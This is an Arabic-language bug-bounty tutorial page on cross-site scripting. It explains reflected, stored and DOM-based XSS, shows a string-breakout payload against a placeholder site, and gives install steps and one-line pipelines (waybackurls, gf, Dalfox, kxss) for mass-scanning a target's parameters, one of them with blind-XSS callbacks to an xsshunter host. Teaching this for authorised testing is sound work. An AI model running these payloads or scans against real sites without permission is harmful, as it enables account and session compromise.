-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy path_index.html
229 lines (229 loc) · 13.9 KB
/
_index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang="">
<head>
<meta charset="utf-8" />
<meta name="generator" content="pandoc" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" />
<title>index</title>
<style type="text/css">
code{white-space: pre-wrap;}
span.smallcaps{font-variant: small-caps;}
span.underline{text-decoration: underline;}
div.column{display: inline-block; vertical-align: top; width: 50%;}
</style>
<style type="text/css">
a.sourceLine { display: inline-block; line-height: 1.25; }
a.sourceLine { pointer-events: none; color: inherit; text-decoration: inherit; }
a.sourceLine:empty { height: 1.2em; }
.sourceCode { overflow: visible; }
code.sourceCode { white-space: pre; position: relative; }
div.sourceCode { margin: 1em 0; }
pre.sourceCode { margin: 0; }
@media screen {
div.sourceCode { overflow: auto; }
}
@media print {
code.sourceCode { white-space: pre-wrap; }
a.sourceLine { text-indent: -1em; padding-left: 1em; }
}
pre.numberSource a.sourceLine
{ position: relative; left: -4em; }
pre.numberSource a.sourceLine::before
{ content: attr(title);
position: relative; left: -1em; text-align: right; vertical-align: baseline;
border: none; pointer-events: all; display: inline-block;
-webkit-touch-callout: none; -webkit-user-select: none;
-khtml-user-select: none; -moz-user-select: none;
-ms-user-select: none; user-select: none;
padding: 0 4px; width: 4em;
color: #aaaaaa;
}
pre.numberSource { margin-left: 3em; border-left: 1px solid #aaaaaa; padding-left: 4px; }
div.sourceCode
{ }
@media screen {
a.sourceLine::before { text-decoration: underline; }
}
code span.al { color: #ff0000; font-weight: bold; } /* Alert */
code span.an { color: #60a0b0; font-weight: bold; font-style: italic; } /* Annotation */
code span.at { color: #7d9029; } /* Attribute */
code span.bn { color: #40a070; } /* BaseN */
code span.bu { } /* BuiltIn */
code span.cf { color: #007020; font-weight: bold; } /* ControlFlow */
code span.ch { color: #4070a0; } /* Char */
code span.cn { color: #880000; } /* Constant */
code span.co { color: #60a0b0; font-style: italic; } /* Comment */
code span.cv { color: #60a0b0; font-weight: bold; font-style: italic; } /* CommentVar */
code span.do { color: #ba2121; font-style: italic; } /* Documentation */
code span.dt { color: #902000; } /* DataType */
code span.dv { color: #40a070; } /* DecVal */
code span.er { color: #ff0000; font-weight: bold; } /* Error */
code span.ex { } /* Extension */
code span.fl { color: #40a070; } /* Float */
code span.fu { color: #06287e; } /* Function */
code span.im { } /* Import */
code span.in { color: #60a0b0; font-weight: bold; font-style: italic; } /* Information */
code span.kw { color: #007020; font-weight: bold; } /* Keyword */
code span.op { color: #666666; } /* Operator */
code span.ot { color: #007020; } /* Other */
code span.pp { color: #bc7a00; } /* Preprocessor */
code span.sc { color: #4070a0; } /* SpecialChar */
code span.ss { color: #bb6688; } /* SpecialString */
code span.st { color: #4070a0; } /* String */
code span.va { color: #19177c; } /* Variable */
code span.vs { color: #4070a0; } /* VerbatimString */
code span.wa { color: #60a0b0; font-weight: bold; font-style: italic; } /* Warning */
</style>
<link rel="stylesheet" href="https://kafpg.github.io/style.css" />
</head>
<body>
#
<h1 dir="rtl" align="right">
XSS بالعربي
</h1>
##
<h2 dir="rtl" align="right">
** المقدمة **
</h2>
<h2 dir="rtl" align="right">
Cross-Site Scripting (XSS) هو نوع من هجمات الحقن, حيث يتم حقن البرامج النصية الضارة في مواقع الويب. هناك ثلاثة أنواع من هجوم XSS
</h2>
<h3 dir="rtl" align="right">
Reflected XSS - النوع المنعكس
</h3>
<p dir="rtl" align="right">
عندك براميتر بيطبع محتواة فى الصفحة فا ممكن تضيف html tags ومنها تقدر تنفذ جافا سكريبت (ٍٍْXSS)
</p>
<h3 dir="rtl" align="right">
Stored XSS - المخزن
</h3>
<p dir="rtl" align="right">
reflected الفكرة ببساطة ان البايلود بتاعك بيتم تخزينة على عكس فا النوع اعلى من التاني عشان ممكن يتنفذ على اى حد منغير ما تبعت حاجة لى المستخدم زى مكان كومنتس او اسم للمستخدم
</p>
<hr />
<h3 dir="rtl" align="right">
DOM-Based XSS - من داخل كود جافا سكربت
</h3>
<p dir="rtl" align="right">
نوع من XSS يحتوي على حمولات موجودة في DOM بدلاً من كود HTML.
</p>
<h3 dir="rt1" align="right">
مثال : عندك الموقع دة وبراميتر بيطبع المحتوى بتاعة فى كود جافاسكريبت زى دة
</h3>
<pre><code>http://vuln.attack/play.php?parameter=REFLECT
--
var flag_open = '0';
var feedid = '';
var link_url = "REFLECT";
var url_a = 'play.php';</code></pre>
<p>فا ممكن تطلع برة وتضيف البايلود بتاعك</p>
<pre><code>http://vuln.attack/play.php?parameter=REFLECT";alert(1)//
--
var flag_open = '0';
var feedid = '';
var link_url = "REFLECT";alert(1)//";
var url_a = 'play.php';</code></pre>
<p>طبعا فيها اكتر من طريقة والموضوع كبير شوية فا ممكن تلقى نظرة على <a href="https://www.youtube.com/watch?v=FTeE3OrTNoA">Chrom Dev Tools by Tomnomnom</a></p>
<p>وجرب تحل Google FireRang XSS</p>
<hr />
<h2 dir="rtl" align="right">
ازاي تلاقي XSS بسهولة
</h2>
<h3 dir="rtl" align="right">
ايجاد الXSS ببعض ادوات الAutomate
</h3>
<p dir="rtl" align="right">
اولا نستخدم Dalfox, WaybackURL, GF Patterns اول حاجة هنحتاج نثبت الادوات دي وقبل الادوات اهم شئ انك تثبت لغة البرمجة ذات نفسها الي الادوات دي بتشتغل بيها الا وهي لغة الGO
</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb3-1" title="1"><span class="fu">sudo</span> apt install -y golang</a>
<a class="sourceLine" id="cb3-2" title="2"><span class="bu">export</span> <span class="va">GOROOT=</span>/usr/lib/go</a>
<a class="sourceLine" id="cb3-3" title="3"><span class="bu">export</span> <span class="va">GOPATH=$HOME</span>/go</a>
<a class="sourceLine" id="cb3-4" title="4"><span class="bu">export</span> <span class="va">PATH=$GOPATH</span>/bin:<span class="va">$GOROOT</span>/bin:<span class="va">$PATH</span></a>
<a class="sourceLine" id="cb3-5" title="5"><span class="bu">source</span> .bashrc</a></code></pre></div>
<p dir="rtl" align="right">
ولو عايز تشو فيديو علي السريع بيشرح تثبت لغة الGO ممكن تشوف الفيديو دا <a href="https://www.youtube.com/watch?v=69bj8nUlLc8">اضفط هنا</a>
</p>
<h4 dir="rtl" align="right">
DalFox
</h4>
<p dir="rtl" align="right">
<p>بعد كدا هنثبت اول اداة وهي DalFox لو انت شغال علي اوبونتو يبقا سهل انك تثبتها كدا علي طول من Snap</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb4-1" title="1">$ <span class="fu">sudo</span> snap install dalfox</a></code></pre></div>
</p>
<p dir="rtl" align="right">
<p>او لو انت ثبت الجو زي مااحنا قولنا يبقا تثبتها كدا علي طول</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb5-1" title="1"><span class="ex">go</span> get -u github.com/hahwul/dalfox</a></code></pre></div>
</p>
<h4 dir="rtl" align="right">
WaybackURLs
</h4>
<p dir="rtl" align="right">
ثاني اداة هتتثبت كدا سهل جدا بعد اما ثبتنا الجو طبعا
</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb6-1" title="1"><span class="ex">go</span> get github.com/tomnomnom/waybackurls</a></code></pre></div>
<h4 dir="rtl" align="right">
GF Patterns
</h4>
<p dir="rtl" align="right">
ثالث اداة بالاحتياجات الخاصة بيها وهي اداة GF التثبيت بتاعها هكذا جو بردو هنا احنا هنثبت الاداة الاول
</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb7-1" title="1"><span class="ex">go</span> get -u github.com/tomnomnom/gf</a>
<a class="sourceLine" id="cb7-2" title="2"><span class="bu">echo</span> <span class="st">'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash'</span> <span class="op">>></span> ~/.bashrc</a>
<a class="sourceLine" id="cb7-3" title="3"><span class="bu">source</span> ~/.bashrc</a></code></pre></div>
<p dir="rtl" align="right">
بعد كدا في شوية Patterns او احتياجات الي هي الاداة هتشتغل بيهم وهنثبتهم كالاتي اول حاجة هنعمل ملف نحطهم فيه ثانيا هننفل بعض الPatterns الخاصة بTomnomnom وهنحمل كمان شوية من ريبو تانية بردو
</p>
<div class="sourceCode" id="cb8"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb8-1" title="1"><span class="fu">mkdir</span> ~/.gf</a>
<a class="sourceLine" id="cb8-2" title="2"><span class="fu">cp</span> -r <span class="va">$GOPATH</span>/src/github.com/tomnomnom/gf/examples ~/.gf</a>
<a class="sourceLine" id="cb8-3" title="3"><span class="bu">cd</span> ~/</a>
<a class="sourceLine" id="cb8-4" title="4"><span class="fu">git</span> clone https://github.com/1ndianl33t/Gf-Patterns</a>
<a class="sourceLine" id="cb8-5" title="5"><span class="fu">mv</span> ~/Gf-Patterns/*.json ~/.gf</a></code></pre></div>
<p dir="rtl" align="right">
تمام كدا كل الي محتاجينه اتثبت علشان نعمل Automate لبعض الثغرات منهم الي بنتكلم عنها هنا وهي XSS
</p>
<p dir="rtl" align="right">
هذة بعض الاوامر التي ممكن تستخدمها في الXSS زي ماقولنا
</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb9-1" title="1"><span class="bu">echo</span> <span class="st">"target.com"</span><span class="kw">|</span> <span class="ex">waybackurls</span> <span class="kw">|</span><span class="ex">gf</span> xss <span class="kw">|</span><span class="ex">dalfox</span> pipe --blind youusername.xss.ht</a></code></pre></div>
<p dir="rtl" align="right">
هنا انصحك تستخدمها في سيشن تانية وافضل انك تستخدمها في tmux tool وهنا بردو لازم يكون معاك اكونت علي xsshunter سهل انك تعمل اكونت من هنا
</p>
<p dir="rtl" align="right">
<a href="https://xsshunter.com/app" >https://xsshunter.com/app </a> وبعد اما تعمل اكونت غير youusername.xss.ht للصب الخاص بيك انت ثاني طريقة وهي هنستخدم فيها kxss
</p>
###
<h3 dir="rtl" align="right">
KXSS - تثبيت
</h3>
<p dir="rtl" align="right">
اول حاجة هنحملها من الجيت هاب هكذا وهندخل علي الفولدر الي اتحمل دا وهتلاقي جواه ادوات كثيرة هندخل جوا فولدر kxss ونعملها BUILD وهننقلها للbinary directory
</p>
<div class="sourceCode" id="cb10"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb10-1" title="1"><span class="fu">git</span> clone https://github.com/tomnomnom/hacks</a>
<a class="sourceLine" id="cb10-2" title="2"><span class="bu">cd</span> hacks/kxss</a>
<a class="sourceLine" id="cb10-3" title="3"><span class="ex">go</span> build</a>
<a class="sourceLine" id="cb10-4" title="4"><span class="fu">cp</span> kxss /usr/bin</a></code></pre></div>
<p dir="rtl" align="right">
خلاص كدا ثبتناها ندخل بقا علي الكوماند الجاي وهو هنعمل بيه Automate لاننا نلاقي RXSS من خلال الادوات الي فات بردو بس بردون DalFox
</p>
<div class="sourceCode" id="cb11"><pre class="sourceCode bash"><code class="sourceCode bash"><a class="sourceLine" id="cb11-1" title="1"><span class="bu">echo</span> <span class="st">'target.com'</span><span class="kw">|</span> <span class="ex">waybackurls</span> <span class="kw">|</span> <span class="fu">grep</span> -v <span class="st">"png\|jpg\|css\|js\|gif\|txt\|pdf"</span> <span class="kw">|</span> <span class="fu">grep</span> <span class="st">"="</span><span class="kw">|</span><span class="ex">httprobe</span> <span class="kw">|</span><span class="ex">kxss</span><span class="kw">|</span><span class="fu">tee</span> kxss.txt</a></code></pre></div>
<p dir="rtl" align="right">
اداة httprobe هتلاقيها هنا </a href="https://github.com/tomnomnom/httprobe">https://github.com/tomnomnom/httprobe</a><br> وبعد اما تشغل الكوماند الي فوق هيجرب بعض الcharcters في البرامترز ولو لقي في برامتر بيقبلهم هيقولك وفي الاخر هيحفظهملك في file
</p>
##
<h2 dir="rtl" align="right">
اخيرا
</h2>
<p dir="rtl" align="right">
واخرا وليس اخرا هنقف لهنا لو عندك اي اضافة اعمل pull request وضيفها وبردو انا شغال لو في حاجة جديدة هضيفها باذن الله
</p>
<p dir="rtl" align="right">
وهنا هتلاقي في بعض الملفات هتفيدك في بعض الانواع المختلفة من الXSS
</p>
<p style="font-size:"50px;"" dir="rtl" align="right">
<a href="https://github.com/kafpg/bughunting-ar/tree/main/XSS/Files">Files</a><br> Payload ليستة <br> <a href="xsspayloads.txt">xsspayloads.txt</a>
</p>
<div id="footer">
© @2021 <a href="https://github.com/kafpg"><h4>KafPg</a></h4>
</div>
</body>
</html>